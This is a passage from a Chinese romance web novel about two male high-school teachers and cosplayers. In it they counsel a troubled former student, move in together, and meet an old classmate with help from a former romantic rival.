简璃接过那小袋子的糖，这次决定不跟他们计较了。 “注意身体还给我们吃糖？” “嘿嘿，大家财力有限……” “知道了，买这么多，你们上课可不许偷吃啊。” 吴尽夏点点头：“嗯嗯，都是课间的时候大家去买的，保证不偷吃。” 因为其他同学还是比较怕简璃的，又不好去办公室打扰陶与晴休息，但是吴尽夏不仅是学委还不怕简璃，所以就都让她转交了。 下午没课，吃过饭，简璃陪着陶与晴到医院检查了一下。 说是劳损了，好在还不是很严重，内服外敷的药各开了一点。 “手不要沾冷水，注意休息，”医生写着单子，抬眼看了一眼简璃，说：“是那个……扶光还有离玉吧。” 简璃一愣，和陶与晴对视了一眼，回答说：“……对。” 这医生大叔看着都五十多了。 怎么还认出来了？要知道二次元毕竟国民度不高，简璃和陶与晴走在大街上也就几个人能认出来的。 “看你俩脸熟，行，拿着单子去那边拿药吧，”医生说：“我女儿还喜欢看你俩呢，注意点身体。” 医生倒也没说什么别的，只是因为自己女儿才知道的，但是就是觉得被医生认出来，有点怪怪的。 好像在背着粉丝偷偷生病被抓包。 简璃拿着单子去拿药了，让陶与晴坐在医院的椅子上等。 那边挺多人排队的，估计还要等上一会。 陶与晴自己给自己揉了揉手腕，从口袋里摸出一颗学生给的糖拆开放嘴里。 甜甜的。 鼻腔里甜滋滋的味道忽然被一股烟味占据了。 他余光看见旁边坐下一个身上挂了挺多彩的男生，身上还有些烟酒味。 ……但是看年纪，好像和宁雨他们差不多大才对，怎么浑身都是社会气息，而且有点眼熟。 出于对这个年纪男生的滤镜，陶与晴主动关心他：“你好小朋友，你这是打架了吗？发生什么了。” 男生看了一眼陶与晴，认出来他的脸，猛的站起来。 他一句话没说，只是脸上表情很奇怪，转身就跑了。 “哎？”陶与晴觉得很奇怪，这小子跑什么？于是起身追过去。 男生一路跑到走廊死路，回头看见陶与晴追上来，然后被拉住了手臂。 “别跑啊，我又不是坏人，”陶与晴感觉自己确实体力跟不上这些小年轻，才跑两步就开始喘了，换了口气，拉住他说：“你不是来医院拿药的吗，身上都是伤口，快先去包扎一下。” 男生还是没说话，陶与晴没放手，让开一点身位，说：“你家长没来吗？走吧，我带你去挂号。” “我自己会去……！”男生开口，声音沙哑，语气低沉但是咬牙切齿的。 陶与晴仔细看了看他的脸，说：“你是……一中的学生吗？” 隐约记得，自己好像是在学校里见过这张脸。 但是学生太多了，陶与晴也不知道是不是自己记错了。 “不是也没关系，我是一中的老师，我姓陶，你这样子自己在医院乱晃不行的，我带你去买点药吧，你身上带钱了吗？” 最终，男生还是被陶与晴带去挂号了。 简璃提着药走过来，看见他不在原处，四下找了找，发现他在挂号窗口，旁边站着个和他差不多高的男生，身上有伤口。 看来他家陶先生又去捡小孩子了，这次还是路边的。 “怎么在这儿，”简璃走到他旁边，说：“怎么回事。” “我看他一个人在医院，也没挂号，也没拿药，我就问问他，”陶与晴又对男生介绍到：“这个叔叔也是一中的老师，你不用怕的。” “……我看他不是怕，”简璃一眼认出来那是谁，眯了眯眼：“是心虚。” “嗯？” 男生低头，不敢去看简璃，想走，被简璃给拉住了。 “康文诚，你还敢打架，怎么回事，给我好好说。” 简璃力气到底是比一个十几岁的男生大得多，拉着他随便他怎么挣扎都没松手，面上是轻松写意。 “康文诚？”陶与晴对这个名字也有印象，想起来了什么，扭头：“你就是康文诚？” 高一的时候，爸爸来学校闹事的那个学生。 陶与晴被用凳子打破了头，好险没有大事。 简璃一想到这个就生气，用力抓紧了手，不顾那孩子挣扎，说：“先包扎，然后给我好好的解释一下。” “我都不是学生了！少管我！” “你觉得你现在有权利挣扎吗，”简璃绝对的武力压制，三两下就把三脚猫功夫的小屁孩给压住了，“老实点。” 陶与晴也没想到时隔这么久还能在医院遇上，而且自己如果不出于好意搭话的话，可能都不知道他是康文诚。 当时进了医院他就没见过这学生，但是简璃是见过的。 简璃压着那孩子先去拿了点药，然后把他摁到路边的台阶上坐下。 他居高临下看着这小子，说：“解释。” 简璃生气，一是因为他父亲打伤过陶与晴，二是因为作为一个老师，他见不得这个年纪的男生搞成这个样子。 一身的烟酒味，哪里有十几岁男孩子的样子，哪怕简璃和陶与晴并没有教过他，也看不过去。 康文诚打又打不过简璃，跑又跑不掉，愤愤坐在台阶上垂着头，做哑巴。 最后还是陶与晴率先问：“……退学之后，你没再去别的学校吗？” “……去不了，”康文诚低着头，说：“我爸家暴我妈和我，在闹离婚，公司欠了钱，还不起债。” 他说着说着，就从兜里掏出一包烟了，陶与晴直接就给他收走了。 “还给我！” 简璃单手把他摁回去，让他和陶与晴保持安全距离，红脸唱到底：“坐好。” “小小年纪，别抽这么多烟，”陶与晴语气比起简璃温和很多，没收他的烟，说：“那你现在在做什么呢？” “打工呗，还能干什么，”康文诚被摁回去，虽然不服，但是也没办法，“帮我妈看店。” 他才刚满十六岁不久。 家里其他亲戚都说他这个年纪上不了学，这辈子就算是毁了。 而且他初中还染上了烟瘾，看起来更像个小混混了。 “……有时候真的挺想死的。” 陶与晴做到他旁边：“那今天又是发生什么了呢。” 康文诚说：“他们先来惹我的——我好好的在店里帮我妈，他们走进来骂我是杀人犯的儿子，一群法盲传你妈的谣言呢，他们根本什么都不知道。” “你看你，还懂点法呢，那怎么还和别人互殴，”陶与晴打开医生给的药，给他一边上药一边说：“身上挂这么多彩，可没我们班的一个学生厉害啊。” “你说的是宁雨吧。” “你知道？” “他初中那些事儿，怎么会没听过。” “你刚刚还说别人造谣呢，怎么听信这些风言风语了。” 康文诚一时沉默。 过了一会，扭开脸，说：“你要是以为拿他举例子那你就错了。” 康文诚：“他打架逃课考试能上九十分，而我往死里学，都只能考五六十，我这种天生就不配读书。” “纠正一下，他没有自暴自弃到这个地步，”陶与晴给他贴好一处伤口，说：“而且小雨一直很用功，他不是因为天生就聪明才能考好的。” 简璃看他没再挣扎，收手靠这楼梯旁的栏杆，说：“打不过还打，是傻。” “那是他们人多！”康文诚急了：“要是单挑宁雨也不一定打过我……” 精神挺好的嘛，还知道吹牛。 “你先来和我打赢再说吧，”简璃抱臂，“就你那点三脚猫的功夫，只是挂点彩不错了。” “嘁，管我干什么……” 明明他老爸罪有应得，还打过陶与晴呢。 康文诚说看着陶与晴给自己包扎，哼了一声说：“你缺心眼吧……我爸打了你你还帮我包扎。” 陶与晴倒是听笑了，手上动作没停：说：“是啊，今天去医院的时候遇到个缺心眼的老师，你回去可以一直说我坏话了。” “……” “其实，也不是每个人都适合大家都做的事情，而且就算这件事做的很成功，也可能会有很多你不喜欢的事情发生，”陶与晴给他的绷带打了个漂亮的蝴蝶结，说： “今天有一个哥哥，他做一件事做的特别成功，但是因为家庭原因，让他每天都活的特别压抑，甚至丧失了他原本做这件事的兴趣，一度在崩溃边缘。” “……”康文诚不喜欢听人讲大道，觉得假的很。 但是不知道为什么，陶与晴说这些，他……有点愿意听。 “不过，他今天打电话过来，他已经想要开始新的生活，我觉得你也可以试试。” “……他的父母再坏，也没有坏到要打官司吧。” “但你还在生活里，”简璃插话道：“你再埋怨也改不了的现状，去埋怨有什么意义呢，把他甩开才是有效的办法。” “说的容易，我的人生都烂透了……” 简璃又说：“你是过不去自己心里的坎，过不去旁人的目光，还是根本不想做？考试考高分前途就一片光明可以摆烂度日了？现在大学生遍地都是，每个都月入过万吗？不也是靠自己努力慢慢打拼的？你一边抱怨生活，一边糟践自己，就能改变现状了？” “简老师说的虽然话是糙了点……”陶与晴高情商的翻译了一下简璃的话：“但他是想告诉你，不要走你爸爸的路，生在沟渠里，也可以向阳而生，赚正确的钱，哪怕少一点，够自己生活也挺好。” “……那我该怎么办，我又上不了学。” 陶与晴帮他包扎好最后一块伤口，说：“先从戒烟开始，如果实在上不了学，就好好工作，或者你想离开这个城市也可以，不要自怨自艾，要相信你和你爸爸不一样，你可以靠自己的能力赚钱，也可以生活的和普通人一样。” 陶与晴在他手里放了几颗之前学生给的糖，说：“想抽烟的话，就吃颗糖吧，时间和岁月、总会把苦难的日子都带走的。” 康文诚走了，拿着几颗糖，没把烟要回去。 陶与晴看着那孩子的背影，觉得自己可能这辈子都不会再遇见他了。 最后康文诚还道歉了，替他父亲道歉，不应该在学校为难徐老师，也不应该打伤陶老师。 虽然他来道歉并没有什么用，他父亲大概不觉得自己有错。 其实他见到陶与晴那一刻就想道歉的，但是他当时不知道为什么，就是不敢说，直到刚才才说出口。 陶与晴也不清楚今天的偶遇能对他人生产生什么影响，但要是多多少少能影响到一点，那也是好的。 ……就是刚才帮他包扎手腕又抽到了，嘶…… 他真是越来越脆弱了。 “又痛了？”简璃拉过他的手，揉了揉，叹口气。 陶与晴看他唉声叹气的，笑了笑说：“怎么了啊，简老师。” “我们家有位先生，”简璃故作悲伤状：“路过什么小猫小狗都要去捡一下怎么办？明明自己本来是去买药的。” “可是小猫小狗在路边真的很可怜哎……”陶与晴知道他担心自己的很，刚才也是很帅的保护自己，反手拉住他的手，半开玩笑道说：“况且如果没有我，简老师也会去捡小猫小狗的。” 毕竟他家的简老师，也是非常有正义感的。 “我会狠狠的揍他们一顿，帮助他们早日认清。” 简璃把陶与晴的手拉到唇边亲了亲，心想突然有些伤感。 时间终会匆匆走过，不仅带走苦难，也带走美好——这只手要是有一天捡不动这些小孩子了，该怎么办呢。 他的陶老师，可是被很多这种小猫小狗惦记着健康的。 “如果有一天我不去路边捡小猫小狗了，”陶与晴笑了，走近他微微抬头，和他鼻尖碰了碰，“简老师还喜欢吗？” “那一定是你捡累了，想休息休息，不过不捡了也好，”简璃低头轻轻吻住他的唇，浅尝辄止，不一会松开说：“怕就怕，捡回来的小猫小狗太多了，影响我的地位。” 第58章 “从以前就想问问，”陶与晴被亲了一下不自然的看了看周围，还好没什么人，“你的情话到底是哪里学来的？也没见你经常对粉丝说这些啊。” 而且为什么这么会亲。 “可能看见你无师自通了吧，那这么说，这应该是你的天赋。” “这算什么解释？” “好了，今天早点回家休息，”简璃拉了拉陶与晴的衣袖，说：“不然你的学生要怪我没照顾好你了。” 陶与晴笑了，想起来什么，说：“我昨天跟房东说了一下……不对——昨天我房东突然告诉我，这个房子不租了，那个……” 简璃眼睛逐渐睁大。 陶与晴接着说：“所以……如果没有人收留我的话我只能回父母家，上下班通勤很不方便的……” “现在搬，”简璃：“现在就回去搬。” 怎么这样啊简老师。 也太着急了。 陶与晴觉得他这个样子真是很有意思，跟个小孩子似的。 陶与晴东西确实比较多，大部分都是些道具材料什么的，今天先搬了点日用品过去，反正也就隔了一栋楼。 简璃还是选择把客房收拾出来了，陶与晴觉得幸好，不然自己实在不好意思这么快就一个房间。 两个人还一起打扫了一下家里，陶与晴手疼，说是打扫其实就是指挥简璃做，自己在旁边干点轻松的。 也是第一次打开了简璃的储藏间。 那里面摆着许多纸箱子，里面装的都是一些c服和用过的假发道具，看得出来是过的，但是现在简璃打算彻底收拾出来给陶与晴做工作室。 一般一个角色他出个一两次，就不会出了，但是简璃怀旧情节蛮重的，这些东西从来舍不得卖二手或者换掉，一直留下了，导致越来越多看起来就很乱。 “这件是你参加x站周年活动穿的吧，”陶与晴还能记得这些，说：“好几年了，我记得当时是临时换了角色。” 简璃点头：“嗯，那个时候也就你能把道具和假发一起赶出来，而且质量非常好。” “那时候刚好寒假嘛。” 里面桩桩件件，都是简璃以前出过的角色，陶与晴和他一起收拾出来，一起回忆过去，想起来很多之前的事情。 不知不觉的，他已经和“离玉”走过了第八年了。 不对，现在应该是简璃。 真是缘分，让他们多年后又在同一所学校相遇了。 “我做老师是受了我爸的影响，也是想弥补一下学生时代的遗憾——”陶与晴说：“你做老师是为什么呢？” “自然而然的，”简璃回答：“高中有次放学，看见一个比我小一届的学弟在路边抄作业，我批评了他，他以为我是真的老师呢。” “这么简单你就决定做老师了？” “有时候选择一个职业没那么多由，”简璃说：“觉得自己适合……当然，我的学生可能觉得不适合。” “哈哈……”陶与晴动手拿走一个空箱子，发现那个空箱子后面有一个格格不入的小箱子。 他伸手想去拿，被简璃抢先一步。 “我来。” 简璃替陶与晴把那个小箱子拿出来，感受了一下重量，忽然知道里面是什么了。 “这里面……”陶与晴走过去看，打开发现…… 里面居然是很多玻璃碎块，一些布料，还有乱七八糟的，看起来像是碎了的东西。 “这个，”简璃把箱子放在地上，打开说：“之前我爸弄坏的，我捡回来一点，放进箱子里了。” 陶与晴跟着他蹲下，想到他和余兮聊的时候说过这件事，说：“叔叔他……特别不开明吗？” “嗯，他和我妈凑合过日子，三天一小吵，我和我姐一般不回去，瑞瑞也不适合在这样的家庭长大，但是后逢年过节还是会意思意思。” “之前他们还会来这里找我，吵过几次以后就不来了，大概他们也不想自讨没趣，”简璃扒拉了一下里面的碎块，“……居然没把这个箱子扔掉，我都忘了它还在了。” “我记得你之前和余兮说……你不能带你喜欢的人去见他们，是怕这个吗？”陶与晴指了指自己，“他们……不能接受男生啊。” “嗯，但是不重要，”简璃张嘴嘲讽：“我姐和薛子实结婚也没见他们支持，总是挑出毛病，都没差……这辈子不是你也不会是别人，只要你不觉得委屈我们就结婚，如果你介意这个……” 陶与晴眨眨眼：“你就不和我结了？” “我就软磨硬泡让你别介意。” “真是窝囊，”陶与晴笑了：“还以为你要说绑也要把我绑去婚礼现场呢。” “如果我老师师娘不会对我动手的话……扶光老师喜欢粉色的麻袋吗。” “哈哈哈哈……”陶与晴笑累了，摇摇头说：“我不介意，而且我也不介意回去见他们。” 简璃看了看他，说：“就算是你这么讨人喜欢的人，他们也一定会挑刺的。” “也不能让你一个人面对啊，你要是过几年还不告诉他们你对象是谁，给你安排一堆相亲怎么办？”陶与晴眼神突然认真起来，感觉威风凛凛的，“我当然要去宣誓一下主权，他们不接受也没办法。” 简璃摸了摸鼻尖，愣了片刻，说：“看来我们家出了个更不讲道的人。” “和你学的。” “学得好，那老公现在亲亲你。” 陶与晴躲开他：“还没结婚呢，谁老公了，” 闹了一会，简璃把储物间都收拾出来了，陶与晴没干什么活，总有种坐享其成的感觉，自己刚说搬过来，就占据了简璃家大半的面积。 他看了一眼脚边那个装着碎物的箱子。 “那，”陶与晴说：“我们一起去楼下扔掉吧？” 简璃点头，“好。” 陶与晴和简璃一起下楼，把那箱东西丢进了垃圾桶，然后又去一起吃了饭，到超市里买了点水果回家，慢慢悠悠的走回去。 然后窝在沙发上一起改学生作业，改完了什么都不干，单纯的休息。 陶与晴睡在简璃大腿上，享受着手腕的按摩服务。 “这么讨人喜欢”的陶老师躺在简璃身上睡着了，被人抱回房间里盖好被子，轻轻的关上房门。 第二天在陌生的地方醒过来，陶与晴还反应了一会，才想起来自己昨天简单的搬了个家。 生物钟准点六点叫醒陶与晴，走出去果然，简璃比自己醒的还早。 他已经洗漱完了，走过了亲亲陶与晴的额头。 “早安，陶老师。” 陶与晴借着困意抱住他充充电，说：“早。” 今天早课上的陶与晴气色好了不少，手上是贴了膏药，虽然用长袖挡住了。 台下的学生互相看了看，觉得他们的陶老师应该是真的去看医生了，才放心。 陶与晴下课前还特意谢谢了昨天同学们送的糖。 “不客气！” “老师你喜欢吃我们可以天天买。” 有人说：“你想陶老师糖尿病啊你。” 底下一整哄笑，陶与晴也笑了，说：“糖可不能吃多了，大家都要注意身体。” 陶与晴还是得处很多事情，回到办公室屁股就没离开凳子。 一连忙起来又是几天过去，明明搬到一起了，结果第一个周末也没什么二人世界，简璃能做的不多，也就帮他买买饭打打下手什么的。 高老师每天都有老婆做的便当，也从繁忙的工作中抬头，对陶与晴说：“小桃子，什么时候让你们家简老师学学做饭啊。” 陶与晴不会主动提起，却也没想瞒着他和简璃的关系，无奈，看了一眼高老师，说：“高老师，您别开我玩笑了。” 有的人天生就不适合进厨房。 他们家简璃应该是这辈子都学不会了。 “哈哈哈，”高老师也是趁着简璃现在不在，才说：“你让他多练练。” 练得好，但是陶与晴觉得简璃别练。 这话要是说出来，他家简老师又要委屈了，可不能提可不能提。 校门外的简璃提着一盒荤素搭配的饭盒，往学校走，走到门口忽然被人给拦住了。 简璃疑惑的去看那人，是个男人，已经工作了的样子，手里拿着公文包，身型很瘦，不算高。 “有什么事吗。” 要不是他神态奇奇怪怪的，简璃会以为他是个发传单的。 “我就想问问，你们这个学校里，是不是有个叫陶与晴的啊。” “……”简璃：“我不清楚，你找这个人有什么事吗。” “啊也没有，没有就算了，”男人没有多说什么，“算了算了，我先走了。” 非常奇怪。 简璃回到办公室，说：“门口有个男的，刚才问我你是不是在这个学校。” “男的？”陶与晴第一反应是不是男粉之类的：“他来找扶光吗？” “不是，他直接说的你的名字，”简璃说：“我说不清楚，问他要干什么，他也不说就走了。” 简璃又简单的形容了一下那个人的样子和特征。 “这是很奇怪啊，”陶与晴仔细想了想，自己似乎不认识这样的人，“他真的什么都没说就走了吗？” “对，非要形容，跟做了亏心事一样的。” 只是遇到了一个奇怪的人，起初陶与晴和简璃都没有在意这个事情。 结果晚上，陶与晴的微信收到了一条好友验证，他从沙发上坐起来。 “怎么了？”简璃把刚洗好的水果放在桌子上。 “……有条奇怪的验证消息，”陶与晴把手机的验证界面给简璃看，说：“他就写了个老同学，没有名字没有目的，是不是你白天遇到的那个人啊？” 简璃拿着陶与晴的手机看了看，坐下。 点开临时会话框打字。 ：你是？ 陶与晴头靠在简璃肩膀上看他说，顺手被投喂了一颗草莓。 对方很快回复了。 ：你是陶与晴对吧？我是肖扬啊，还记得我不。 简璃看了看陶与晴。 “……好像有点印象，”陶与晴说：“初中时候……好像是有这么个人。” “欺负过你？” “没有没有，我记得他是一个很安静的人，因为比较胖，所以有点自卑。” 简璃再次打字。 ：有什么事吗。 ：没啊没啊，就是这么多年不见了，我看推送里有你联系方式就加了，叙叙旧啥的。 ：你到底有什么想说的，直接点。 ：你这……你这人性格咋还变化这么大呢，就是老同学聊一聊呗。 ：没钱不借，不吃饭不聚会，已有对象，工作稳定。 说完，简璃就给人忽略屏蔽了。 好一套连招。 陶与晴趴在简璃肩膀肃然起敬。 “这种支支吾吾半天没个正事儿的老同学，能憋什么好话就怪了，不是借钱就是来拉客的，”简璃退出去无意看见了底下的验证消息和微信号，“……这个叶医生还想加你好友？” 陶与晴听到这儿，迅速拿回自己的手机，想了想有些狡猾的说：“我没同意呢，有证据的——况且过去多久了，不就是一个以前喜欢我的人和我相亲吗，这就吃醋了？” “……”简璃伸手揽住他的腰，说：“陶老师这是在挑衅我？” 陶与晴朝后躲了躲，移开目光：“……没有啊，明明是你小气。” 然后他就被简璃给吻住了，逐渐被压在沙发上，亲的喘不过气来。 “确实，”简璃好不容易松开他的嘴，说：“我醋性大，陶老师怎么安慰我？” “一个好友验证而已，”陶与晴捂住自己的嘴，但是继续说：“我逗逗你，你太不经逗了，而且人家可是医生，我觉得……唔……” 他的手被拉开扣在头顶，嘴唇又被简璃衔过去。 然后陶与晴感觉自己压不住喘声。 “！” 再撩拨下去指定要出事。 他一个兔子蹬腿，把简璃连人踹下沙发。 “……”简璃懵了一会，舔舔嘴唇，说：“只管撩不管灭，是不是有点缺德啊陶老师。” “……太快了，”陶与晴抱着抱枕坐在沙发上看他，说：“总之……你自己解决。” “明天周六……” “明天周八都不行。” 简璃叹了口气。 他到底为什么有了男朋友还要去冲冷水澡冷静。 谁让他宠他呢，害。 陶与晴在沙发上缩成一团。 事实证明以后绝对不要随便逗简璃。 ……而且他那个东西的尺寸是不是有点…… 陶与晴的确有点被吓到了。 陶与晴不敢细想，不然自己也得去冲个澡了。 这事儿干的是有点缺德……之后陶与晴心虚的没撩他了，被人抱住也没挣扎，安静的像个抱枕。 然后陶抱枕被打横抱起来。 “干嘛？” “睡觉。” “我要回我自己房间！” “不管。” 然后就被摁着当了一晚上的抱枕，简璃睡着了都不松手的那种。 早上醒过来简璃还在睡，陶与晴只好从他怀里挣扎着拿到手机，把那条叶多青的好友验证给删掉。 再让他看一眼不得看一次醋一次啊。 小气鬼……嘴都给自己亲红了。 陶与晴伸手捶了简璃两下。 也不知道这人是不是故意的，被打了两下以后手抱得更紧了。 他绝对是醒着的吧…… 反正是周末，陶与晴借坡下驴，埋回他怀里接着睡回笼觉。 抱了一会，陶与晴又睡着之后，简璃松手，撑着头看他的睡颜。 光线刚好，秀色可餐。 这是他们在一起之后第一次同床醒来，值得纪念。 于是他拍下了一张睡颜的照片，设成了屏保。 除此之外，简璃还是觉得莫名其妙出现的老同学很奇怪。 陶与晴说肖扬是个很胖的男生，如果不考虑他长大以后减肥的情况，难道自己校门口遇到的那个人不是同一个？ 简璃坐起来，一手放在陶与晴柔软的头发上，一手拿起自己的手机。 对叶多青发了个好友验证过去。 他也不想和情敌有什么交流，但是目前能提供初中线索的，好像也就叶多青了。 叶多青也没有直接通过好友验证，而是现在聊天框里发言。 【叶多青】：？ 【简璃】：相亲局我们见过，我是陶老师的同事。 【叶多青】：是你啊。 【叶多青】：你……找我有什么事？ 【简璃】：你是他的初中同学，听你那天说他们班有同学聚会，你应该加了不少他们班的班级群之类的。 【叶多青】：对，不过那天之后我就退了，怎么？ 简璃把昨天的事情说了一遍，问：我就想问问，这件事到底什么情况。 【叶多青】：……我就算失恋，也犯不着广而告之以前的同学，丢脸的不也是我。 【叶多青】：我也不知道怎么回事。 从她语气来看，简璃觉得不是撒谎。 【简璃】：好，我相信你，那打扰了。 【叶多青】：等一下。 【简璃】：？ 【叶多青】：我也可以加群回去，侧面问问看，到底怎么回事。 【叶多青】：如果你有空，我们可以见一面谈谈这个事。 【简璃】：……搞错了吧。 【简璃】：你约我见面？ 【叶多青】：你根本不是他同事吧？你们应该是情侣，哪有同事对他的事情那么上心，之前还来截胡相亲的。 【叶多青】：恋爱自由，我不管他和什么样的人在一起，但我就想知道我输在哪。 【简璃】：其实你根本没那么喜欢他，你自己也知道吧。 【叶多青】：我承认也没有那么喜欢，只是觉得他是个很好的结婚对象。 【叶多青】：但输了以后，想知道一个由而已，同城见个面不难吧。 介于叶多青的交换条件很不错，简璃答应了她的邀请。 不搞清楚这件事怎么回事，心怀不轨的人想堵校门口，太容易了。 陶与晴睡醒听见这么个事情，差点把牙膏咽下去。 他迅速洗了洗嘴，擦了一把脸。 “叶多青约你？你们两个……”陶与晴结合昨天的事情，觉得他俩像是约架的，“你们两个、有什么共同语言吗？” “她是你的初中同学，之前还加过你们的班级群，我就想她会不会知道点什么，就因为老同学的事情去问了问她。” “……她的微信号在你眼前就出现了几秒钟吧？” 简璃说：“一想到是情敌的微信号，就果断记住了。” “……” 太可怕了简璃。 无论是一眼记住情敌的微信号，还是果断和情敌统一战线搞调查。 从哪个角度都太可怕了啊！ 经过昨天他无论怎么挣扎都摁不过简璃的经验来看，陶与晴默默在心里给向思远道了个歉。 A不过A不过。 ……就当之前的宣誓都是浮云吧。 陶与晴认清这件事并且接受度良好。 出门前，简璃看了看陶与晴，有些不满：“你确定你也要去吗？” “当然了，”陶与晴说：“而且之前相亲走的匆忙，说起来还要给她道个歉呢。” “……好过头了吧，陶老师，这么久了你还记得给她道歉？” “好了好了，别吃飞醋了，有求于人家，你态度好一点知道吗。” 简璃挣扎了半天，还是没拒绝陶与晴：“……知道了。” 约定地点是个茶馆，开车二十分钟左右。 叶多青这次也化了妆，换了新衣服。 看见简璃还带来了陶与晴，并不意外。 简璃拉着陶与晴的手坐在她对面，开门见山：“那么，叶医生问出什么了吗。” “昨天我已经加回了初中的班级群，并且加了你说的那个肖扬的好友，”叶多青晃了晃手机，说：“想知道的前提，我要和陶与晴单独聊聊。” 简璃：“……” 陶与晴：“……我倒是不介意的。” 简璃闷声站起来，很不爽的走了出去。 “叶医生，”陶与晴率先说：“去年长辈安排的见面，贸然走了确实不太好，我向你道歉。” “……”叶多青也没想到陶与晴会主动提起这个事情，当时走的时候，看他脸色不太好的样子，还以为他就是看不上自己。 “这个倒没什么……”叶多青反而有点不自在了，昨天得到陶与晴和简璃在一起的肯定答案之后，本来是想借此机会狠狠示威。 要让他知道知道拒绝了自己选择了简璃，自己也不是好惹的。 结果陶与晴这个人也太真诚了，搞得她都不好意思说什么重话了。 “谢谢你帮我问话，”陶与晴笑了笑说：“初中对于我来说是比较痛苦的回忆，我男朋友知道这件事，所以比较上心，实在是麻烦你了，他没有说你什么吧？他人很好的，只是比较担心我，你不要介意。” “呃……”叶多青好不容易酝酿的一系列狠话无处发泄，“也不算很麻烦，他也没说什么别的。” 不是…… 陶与晴怎么还谢谢她啊？ 这…… 她还怎么骂他啊！ 第59章 叶多青咬咬后槽牙，最后什么狠话也没说出来。 “那个人确实是肖扬，校门口也是他。” “是吗？”陶与晴说：“他这……怎么突然来校门口，又突然加我好友的……” 实在是太像个坏人了吧。 “他说他是想和你道歉来着，”叶多青最不喜欢和这种人沟通，说：“不过他过两天就要离开祁城了，有需要的话，我可以帮你把他约出来，你们聊聊。” “道歉？”陶与晴回忆了一下初中的时候，说：“他没做什么对不起我的事情啊，为什么要道歉。” 而且的好友验证，他也是支支吾吾的，不知道的以为真是来借钱的呢。 叶多青摇摇头：“那我就不知道了。” 简璃在外面的长椅上坐着，过了一会，看见叶多青走了出来。 “你们聊完了，”简璃看了看茶馆的窗户，陶与晴并没有出来还坐在那个位置：“……我对象呢？” “我帮他约了人，他在里面等，”叶多青也坐下，和简璃一头一尾隔开一个距离，脸色变了变，说：“……这叫什么事儿，我干嘛要帮一个拒绝我的男的。” “……”简璃盯着茶馆二楼的窗户看了一会，保证在自己的视线范围里很安全，说：“叶医生，其实你也挺矛盾的。” “怎么，”叶多青看了简璃一眼，“老师做多了，都这么喜欢挑别人毛病吗？” “我不是在挑，”简璃后背靠住长椅，望着长椅上方摇摇欲飘的黄色落叶，说：“我只是客观的陈述，你说你喜欢他，但是我没感觉出来，你自己也觉得你不够喜欢，可你又不愿意放手，不觉得很矛盾吗。” “……放手就输了，”叶多青干脆也就承认：“我从小到大，就没怎么输过。” 在叶多青存在圈子里，她一定要做那个聚焦点，成绩，外貌，职业…… 至少现在除了感情以外，没有输过。 陶与晴，是和她一样的别人家的孩子，她要赢，就得和一个同样优秀的人在一起。 这是从小长大被灌输的念头，人生履历没有例外，所有人都告诉她，她要赢。 “但是感情里，”简璃为数不多的没有说什么攻击力强的话，似乎是想到陶与晴这个名字，就可以让他变得和对方一样温柔，“只想赢就错了。” 感情本就不是人生必经之路，也不是什么考试要做的试卷。 叶多青伸手取下自己编发的头绳，重新扎了个干净利落的马尾，说：“但我的人生差这一步才完美。” 简璃听到这儿，挑眉：“……谁告诉你的？” “……”叶多青一时间答不上来，沉默半晌说：“印象里，很多人吧，父母也一直在催。” 简璃反问：“那你想走这一步吗？” “……说实话，不太想，”叶多青也抬头去看书上的叶子：“我的事业还没到头，确实没这么多精力分给其他人，比起和谁牵手，我还是更喜欢握手术刀。” 简璃是感性不下去了，松嘴说：“我说你一个高学历高社会地位的高知分子，思想怎么跟着这么迂腐？明明你说的出来人话，想得通这个道，被其他人裹挟思想才是输了吧。” “……喂，”叶多青觉得他说的挺对，可是又不太愿意承认这点，说：“你和陶与晴也这么说话？” “当然不是，他又不需要我骂醒。” 他本来的样子就很好了。 叶多青骂他一句：“……双标狗。” “我干嘛要开导我自己的情敌，”简璃摇摇头：“你自己爱想通不想通。” “我干嘛要听我的情敌开导我？”叶多青也扭头：“我爱想通不想通。” 沉默。 一直到树上那片叶子掉了下来。 叶多青忽然开口：“……谈恋爱是什么感觉？” “不好形容，”简璃回答：“大概是哪怕在一起一句话不说，也不觉得无聊，而是觉得幸福。” “听起来就挺无聊的。” “爱情不就是一起做无聊的事情吗，有他在都不无聊。” “你才认识陶与晴多久啊，说的就和过了一辈子一样了，”叶多青摇头：“我是不信有这么多真爱的。” “没你久，但也不短，”简璃分给她一个眼神，说：“别的不敢说做的多好，但我实打实的陪了他八年。” “不腻？” “完全不腻。” 叶多青算服了。 她以前认为的爱情就是找个人结婚，然后过相敬如宾的日子，没事儿能带出去参加参加亲戚聚餐，给彼此长脸。 还以为简璃和陶与晴是刚谈所以热恋期，结果他们都认识八年了还不腻。 “算你厉害，”叶多青伸手把自己耳环也给取下来，带着怪别扭的，仔细想想自己确实不适合谈恋爱，“我还是多握几年手术刀吧。” “没人能逼你，”简璃看着二楼窗户，陶与晴已经和一个人聊起来了，换了个坐姿，说：“一辈子不谈也无所谓。” “那些亲戚不得背地里骂死我。” “那你就劝他们小心点，以后说不定要进你的手术室。” “？” 吃毒药长大的？ 你别说，这么一想还真是有点爽。 叶多青忽然释怀又无语的笑了一下，：“行，你这个朋友我今天还真交了。” 简璃：“不是很想和前情敌交朋友。” 叶多青翻了个白眼：“……结婚我随个大的，行了吧。” 简璃伸手：“这位朋友，欢迎来参加我们的婚礼。” 叶多青被迫和他握手，说：“……社会真该庆幸你是个老师啊。” 茶馆二楼，陶与晴似乎听见外面有动静，低头看了一眼，居然看见简璃和叶多青……握手言和？ 这是什么剧情发展，陶与晴看不懂了。 肖扬坐在他对面，说：“不好意思啊……我不太会说话，让你们误会了。” “不不，”陶与晴回过神来，摆摆手：“但我们确实遇到过很多不怀好意的人……” 肖扬之前那个样子，确实偷感太重了点。 这谁不怀疑他呢。 “我一直想找机会来着，也是最近在网上刷到了你，才知道你最近过的挺好的，不然我都不好意思来呢。” “……所以，”陶与晴疑惑：“为什么你要和我道歉呢。” “初中那个时候……我身材很不好，特别胖，”肖扬说到这个语气低沉下来，“经常被人拿来开玩笑……” 陶与晴却从不用有色眼镜看他，打招呼都是笑盈盈的，路过看见他不会写题，就耐心的停下教了他两次，还会默默的把贴在他背后的贴纸给拿掉…… 件件小事，肖扬不说陶与晴都不会记得的。 “你不记得很正常，对于你来说温柔这件事已经成习惯了吧，”肖扬不好意思的挠挠头，说：“而且你成绩又好长得又好看，现在还真的做了老师，肯定也不缺别人感谢你的。” 光是这些，陶与晴没听出来他有什么好道歉的。 “……这些也是我举手之劳的事情，”陶与晴说：“你为什么特意来找我呢。” 